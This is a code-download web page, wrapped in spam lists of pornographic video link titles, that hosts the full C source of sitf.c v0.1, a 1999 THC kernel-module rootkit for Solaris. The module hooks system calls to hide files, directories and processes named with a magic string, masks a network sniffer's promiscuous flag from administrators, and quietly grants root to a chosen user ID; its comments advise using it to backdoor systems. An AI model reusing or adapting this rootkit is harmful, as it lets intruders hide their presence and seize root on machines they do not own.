亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? sitf0.1.c

?? Linux backdoor source code
?? C
字號:
/* * sitf.c v0.1 * Solaris Integrated Trojan Facility for Solaris 2.7 (sparc/x86) * (c) 1999 by Plasmoid/THC <plasmoid@pimmel.com> * [THC] The Hacker's Choice - http://www.infowar.co.uk/thc * * This module is the old version of the sitf.c v0.2 module. It features * process hiding that is based on the proc file system by redirecting the * open() and read() syscall. It's not adviced to use such mechanisms since * they may consum too much cpu power on systems with a lot of processes * and users. * * WARNING! * This module does *NOT* work on Solaris 2.6-2.7 Ultra Sparc. You should  * really use sitf0.2.c if you are planning to backdoor a Solaris  * system. This module is just an other approach to the process hiding * mechanisms. *  * Module features: - File hiding *                  - File content and directory hiding *                  - Switch to toggle file content and directory hiding *                  - Process hiding (proc file system) *                  - Promiscous flag hiding *                  - Converting magic uid to root uid * * A documentation of the modules functions can be found in the corresponding * THC article at http://www.infowar.co.uk/thc/files/thc/slkm-1.0.html * *    Solaris Loadable Kernel Modules v1.0 *    "Attacking Solaris with lodable kernel modules" *    by Plasmoid/THC * */#include <sys/systm.h>#include <sys/ddi.h>#include <sys/sunddi.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/dirent.h>#include <sys/procfs.h>#include <sys/sockio.h>#include <sys/socket.h>#include <sys/kmem.h>#include <sys/errno.h>#include <net/if.h>#include <fcntl.h>#include <unistd.h>/* * Customize your module here: * MAGIC: this string is called the magic word, files and processes containing *        the magic word won't be displayed. directories containing the magic *        word cannot be entered if the security flag is set. if the security *        flag is set, the file content will also be hidden. * KEY:   this is you key to enable and disable the security flag by using the *        touch command. e.g. $ touch mykey * UID:   if a user logins in and his id is UID he will be automatically get *        the superuser id. */#define MAGIC   "CHT.THC"#define KEY	"mykey"#define UID     1001/* * This is just a little definition to make the code better readable */#define	TRUE	1#define FALSE	0/* * This is the loadable module wrapper. */#include <sys/modctl.h>extern struct mod_ops mod_miscops;/* * Structure of the system-entry table. */extern struct sysent sysent[];int (*oldsetuid) (uid_t);int (*oldgetdents64) (int, struct dirent64 *, size_t);int (*oldopen64) (const char *path, int oflag, mode_t mode);int (*oldopen) (const char *path, int oflag, mode_t mode);int (*oldchdir) (const char *path);int (*oldcreat64) (const char *path, mode_t mode);ssize_t(*oldread) (int fildes, void *buf, size_t nbyte);int (*oldioctl) (int fildes, int request, unsigned long arg);char magic[] = MAGIC;char key[] = KEY;char psinfo[] = "psinfo";int security = FALSE;int psfildes = FALSE;int promisc = FALSE;/* * The promiscous flag will only be hidden the first time it is changed,  * if the admin would run a sniffer, he wouldn't detect any unusual things. */int newioctl(int fildes, int request, unsigned long arg){    int ret;    struct ifreq ifr;    ret = oldioctl(fildes, request, arg);    if (request == SIOCGIFFLAGS && !promisc) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: hiding promisc flag on interface");#endif	copyin((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));	ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);	copyout((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));    } else if (request == SIOCSIFFLAGS) {	copyin((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));	if (ifr.ifr_flags & IFF_PROMISC)	    promisc = TRUE;	else if (!(ifr.ifr_flags & IFF_PROMISC))	    promisc = FALSE;    }    return ret;}/* * If a file is opened from the directory /proc/<pid>/psinfo that has the * size of the psinfo_t struct, the function will return an error. This * behaviour results in hiding the <pid>. */ssize_tnewread(int fildes, void *buf, size_t nbyte){    ssize_t ret;    psinfo_t *info;    ret = oldread(fildes, buf, nbyte);    if (fildes > 0 && fildes == psfildes && nbyte == sizeof(psinfo_t)) {	info = (psinfo_t *) kmem_alloc(sizeof(psinfo_t), KM_SLEEP);	copyin(buf, (void *) info, sizeof(psinfo_t));	if (strstr(info->pr_psargs, (char *) &magic) != NULL) {#ifdef DEBUG	    cmn_err(CE_NOTE, "hiding process: %s", info->pr_psargs);#endif	    kmem_free(info, sizeof(psinfo_t));	    set_errno(ENOENT);	    return -1;	} else	    kmem_free(info, sizeof(psinfo_t));    }    return ret;}/* * The creat64() syscalls is used as switch for enabling and disabling the * directory and file content hiding. */int newcreat64(const char *path, mode_t mode){    if (strstr(path, (char *) &key) != NULL) {	if (security) {#ifdef DEBUG	    cmn_err(CE_NOTE, "sitf: disabeling security");#endif	    security = FALSE;	} else {#ifdef DEBUG	    cmn_err(CE_NOTE, "sitf: enabeling security");#endif	    security = TRUE;	}	set_errno(ENFILE);	return -1;    } else	return oldcreat64(path, mode);}/* * If the security flag is enabled, directories containing the magic word * can't be entered. */int newchdir(const char *path){    if (security && strstr(path, (char *) &magic) != NULL) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: hiding directory (%s)", path);#endif	set_errno(ENOENT);	return -1;    } else	return oldchdir(path);}/* * This function does NOT hide the file content, under Solaris 2.7 * files are opened using the open64() call. Only the proc fs uses this * obsolete call. Instead this function checks if the file to be opened * is placed in the directory /proc/<pid>/psinfo and will report the  * the result to the read64() syscall (some lines above). */int newopen(const char *path, int oflag, mode_t mode){    int ret;    ret = oldopen(path, oflag, mode);    if (strstr(path, (char *) &psinfo) != NULL) {	psfildes = ret;    } else	psfildes = FALSE;    return ret;}/*  * If the security flag is enabled, files containing the magic string, can't * be opened. This is nice feature, eventhough these files are hiden from  * being listed by a "ls", a clever admin could guess the filename. */int newopen64(const char *path, int oflag, mode_t mode){    int ret;    ret = oldopen64(path, oflag, mode);    if (security && strstr(path, (char *) &magic) != NULL) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", path);#endif	set_errno(ENOENT);	return -1;    } else {	return ret;    }}/* * This function has been recoded from the original source of itf.c * by plaguez. It does not work properly with files containing the * magic string MORE than once. Don`t play with it, files containing * more than one magic string definitely cause crashes, this bug is * even present in the original code.  * This might sound like a bug, but I don't care, I never came to  * the situation renaming a file containing the magic word more * than once.  */int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte){    int ret, oldret, i, reclen;    struct dirent64 *buf2, *buf3;    oldret = (*oldgetdents64) (fildes, buf, nbyte);    ret = oldret;    if (ret > 0) {	buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);	copyin((char *) buf, (char *) buf2, ret);	buf3 = buf2;	i = ret;	while (i > 0) {	    reclen = buf3->d_reclen;	    i -= reclen;	    if (strstr((char *) &(buf3->d_name), (char *) &magic) != NULL) {#ifdef DEBUG		cmn_err(CE_NOTE, "sitf: hiding file (%s)", buf3->d_name);#endif		if (i != 0)		    memmove(buf3, (char *) buf3 + buf3->d_reclen, i);		else		    buf3->d_off = 1024;		ret -= reclen;	    }	    /* 	     * most people implement this little check into their modules,	     * don't ask me, if some of the solaris fs driver modules really	     * generate a d_reclen=0.	     * correction: this code is needed for solaris sparc at least, 	     * otherwise you`ll find yourself back in a world of crashes.	     */	    if (buf3->d_reclen < 1) {		ret -= i;		i = 0;	    }	    if (i != 0)		buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);	}	copyout((char *) buf2, (char *) buf, ret);	kmem_free(buf2, oldret);    }    return ret;}/*  * This call is uncommented and you should know why... */int newsetuid(uid_t uid){    if (uid == UID) {#ifdef DEBUG	cmn_err(CE_NOTE, "sitf: setting uid(%d) to uid(0)", uid);#endif	seteuid(0);	setgid(0);	setegid(0);	return oldsetuid(0);    }    return oldsetuid(uid);}/* * Module linkage information for the kernel. */static struct modlmisc modlmisc ={    &mod_miscops,#ifdef DEBUG    "Solaris ITF",#else    ""#endif};static struct modlinkage modlinkage ={    MODREV_1,    (void *) &modlmisc,    NULL};int _init(void){    int i;    if ((i = mod_install(&modlinkage)) != 0)	cmn_err(CE_NOTE, "Could not install module\n");#ifdef DEBUG    else	cmn_err(CE_NOTE, "sitf: successfully installed");#endif    oldsetuid = (void *) sysent[SYS_setuid].sy_callc;    oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;    oldopen64 = (void *) sysent[SYS_open64].sy_callc;    oldopen = (void *) sysent[SYS_open].sy_callc;    oldchdir = (void *) sysent[SYS_chdir].sy_callc;    oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;    oldread = (void *) sysent[SYS_read].sy_callc;    oldioctl = (void *) sysent[SYS_ioctl].sy_callc;    sysent[SYS_setuid].sy_callc = (void *) newsetuid;    sysent[SYS_getdents64].sy_callc = (void *) newgetdents64;    sysent[SYS_open64].sy_callc = (void *) newopen64;    sysent[SYS_open].sy_callc = (void *) newopen;    sysent[SYS_chdir].sy_callc = (void *) newchdir;    sysent[SYS_creat64].sy_callc = (void *) newcreat64;    sysent[SYS_read].sy_callc = (void *) newread;    sysent[SYS_ioctl].sy_callc = (void *) newioctl;    return i;}int _info(struct modinfo *modinfop){    return (mod_info(&modlinkage, modinfop));}int _fini(void){    int i;    if ((i = mod_remove(&modlinkage)) != 0)	cmn_err(CE_NOTE, "Could not remove module\n");#ifdef DEBUG    else	cmn_err(CE_NOTE, "sitf: successfully removed");#endif    sysent[SYS_setuid].sy_callc = (void *) oldsetuid;    sysent[SYS_getdents64].sy_callc = (void *) oldgetdents64;    sysent[SYS_open64].sy_callc = (void *) oldopen64;    sysent[SYS_open].sy_callc = (void *) oldopen;    sysent[SYS_chdir].sy_callc = (void *) oldchdir;    sysent[SYS_creat64].sy_callc = (void *) oldcreat64;    sysent[SYS_read].sy_callc = (void *) oldread;    sysent[SYS_ioctl].sy_callc = (void *) oldioctl;    return i;}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲精品一区二区三区香蕉| 免费久久精品视频| 久久久午夜精品| 6080亚洲精品一区二区| 在线观看亚洲精品视频| av高清久久久| 成人自拍视频在线观看| 成人动漫视频在线| 成人免费看视频| www.日本不卡| 99久久免费视频.com| 99re在线视频这里只有精品| gogogo免费视频观看亚洲一| 97久久精品人人做人人爽50路| 不卡的电影网站| 色播五月激情综合网| 在线精品亚洲一区二区不卡| 欧美在线高清视频| 欧美夫妻性生活| 日韩精品一区二区三区视频在线观看| 欧美一区二区三级| 欧美精品一区二区不卡 | 亚洲一区二区三区激情| 亚洲午夜在线电影| 免费观看成人av| 国产成人免费在线| 色偷偷久久人人79超碰人人澡| 色综合中文字幕| 欧美高清dvd| 国产亚洲一区二区三区在线观看| 国产精品久久夜| 亚洲狠狠爱一区二区三区| 久久国产福利国产秒拍| 成人网男人的天堂| 欧美网站大全在线观看| 精品少妇一区二区三区在线播放| 亚洲国产精品t66y| 首页亚洲欧美制服丝腿| 精品中文字幕一区二区| av网站一区二区三区| 日韩一区二区三区视频| 国产精品久久久久久久久久久免费看 | 久久夜色精品国产噜噜av| 国产精品久久久久永久免费观看| 亚洲国产综合人成综合网站| 国产一区二区三区免费播放| 色综合天天综合色综合av| 欧美一二三在线| 日韩毛片视频在线看| 久久99久久99小草精品免视看| 99久久精品免费观看| 欧美一二三区在线| 亚洲精品国产一区二区精华液 | 精品一区二区久久久| 91欧美一区二区| 91精品国产免费| 亚洲综合在线第一页| 国产精品91一区二区| 这里只有精品电影| 亚洲男人的天堂av| 处破女av一区二区| 欧美电影免费观看完整版| 亚洲午夜视频在线观看| av电影在线不卡| 久久免费的精品国产v∧| 天堂精品中文字幕在线| 在线观看三级视频欧美| 国产精品久久久久久久浪潮网站| 精品一区二区三区在线观看国产| 欧美性猛交xxxx黑人交| 亚洲码国产岛国毛片在线| 国产69精品久久久久777| 欧美大度的电影原声| 日韩高清一区在线| 欧美三片在线视频观看| 一区二区三区四区在线免费观看| 成人综合婷婷国产精品久久蜜臀| 久久久久久亚洲综合| 久久99精品国产.久久久久久 | 日韩免费视频一区| 日韩成人一级片| 欧美精选一区二区| 亚洲成在人线在线播放| 欧美日韩视频第一区| 午夜久久久影院| 欧美日韩国产另类不卡| 婷婷开心激情综合| 91精品国产高清一区二区三区蜜臀| 午夜激情一区二区| 欧美日韩高清在线| 麻豆精品蜜桃视频网站| 久久久综合精品| 国产超碰在线一区| 中文字幕一区日韩精品欧美| 99久久精品免费看国产免费软件| 国产精品国产精品国产专区不蜜 | 91精品国产综合久久久蜜臀图片| 亚洲va天堂va国产va久| 777午夜精品视频在线播放| 青青国产91久久久久久| 久久无码av三级| 国产传媒久久文化传媒| 亚洲色图19p| 欧美揉bbbbb揉bbbbb| 蜜桃视频第一区免费观看| 久久午夜电影网| 色综合夜色一区| 日韩va欧美va亚洲va久久| 2021国产精品久久精品| 99re这里只有精品首页| 日韩在线观看一区二区| 久久久av毛片精品| 91免费看视频| 蜜桃视频在线一区| 国产精品护士白丝一区av| 欧美日韩在线三级| 国产精品亚洲а∨天堂免在线| 国产精品国产精品国产专区不蜜 | 蜜臀久久99精品久久久画质超高清 | www.视频一区| 五月激情综合婷婷| 国产清纯在线一区二区www| 欧美色男人天堂| 国产另类ts人妖一区二区| 一区二区三区精品视频在线| 久久综合色天天久久综合图片| 96av麻豆蜜桃一区二区| 老司机精品视频导航| 亚洲精品成人少妇| 久久综合999| 欧美视频日韩视频在线观看| 国产成人无遮挡在线视频| 日韩成人午夜精品| 一区二区在线电影| 中文字幕国产一区| 欧美一区二区三区色| 色婷婷激情一区二区三区| 国产精品综合二区| 日韩不卡一二三区| 亚洲一区在线观看视频| 亚洲天天做日日做天天谢日日欢| 日韩精品一区二区在线| 在线免费观看日本一区| 91啦中文在线观看| 风间由美一区二区三区在线观看| 美女视频黄免费的久久 | 亚洲欧美区自拍先锋| 国产欧美日韩在线| 久久久久久综合| 日韩欧美国产综合一区| 欧美精品三级在线观看| 91激情在线视频| 91视频免费播放| av福利精品导航| 99久久精品免费精品国产| 成人午夜短视频| 成人av在线电影| 成人免费视频网站在线观看| 成人免费av在线| 国产91丝袜在线18| 国产a精品视频| 国产老肥熟一区二区三区| 久久99日本精品| 久久激情五月婷婷| 久久99国产精品尤物| 久久er精品视频| 国产精品99久| 99久久精品久久久久久清纯| 91丨porny丨中文| 欧美专区亚洲专区| 欧美夫妻性生活| 日韩精品一区国产麻豆| 亚洲精品在线三区| 国产日韩在线不卡| 1000部国产精品成人观看| 一区二区三区日韩欧美精品| 肉丝袜脚交视频一区二区| 日本不卡视频一二三区| 国产乱码精品一区二区三区五月婷 | 一区二区三区久久| 日韩电影在线观看一区| 国内久久婷婷综合| 97国产精品videossex| 91成人免费在线视频| 欧美一区二区三区在线观看| 久久免费的精品国产v∧| 亚洲色图色小说| 天天综合网 天天综合色| 国产福利精品一区二区| 日本精品一级二级| 日韩欧美激情一区| 综合久久一区二区三区| 青青草一区二区三区| 成人黄色a**站在线观看| 欧美日韩免费一区二区三区视频| 精品国产成人在线影院| 一区在线观看视频| 蜜桃一区二区三区在线观看| 99re亚洲国产精品| 日韩美女一区二区三区四区|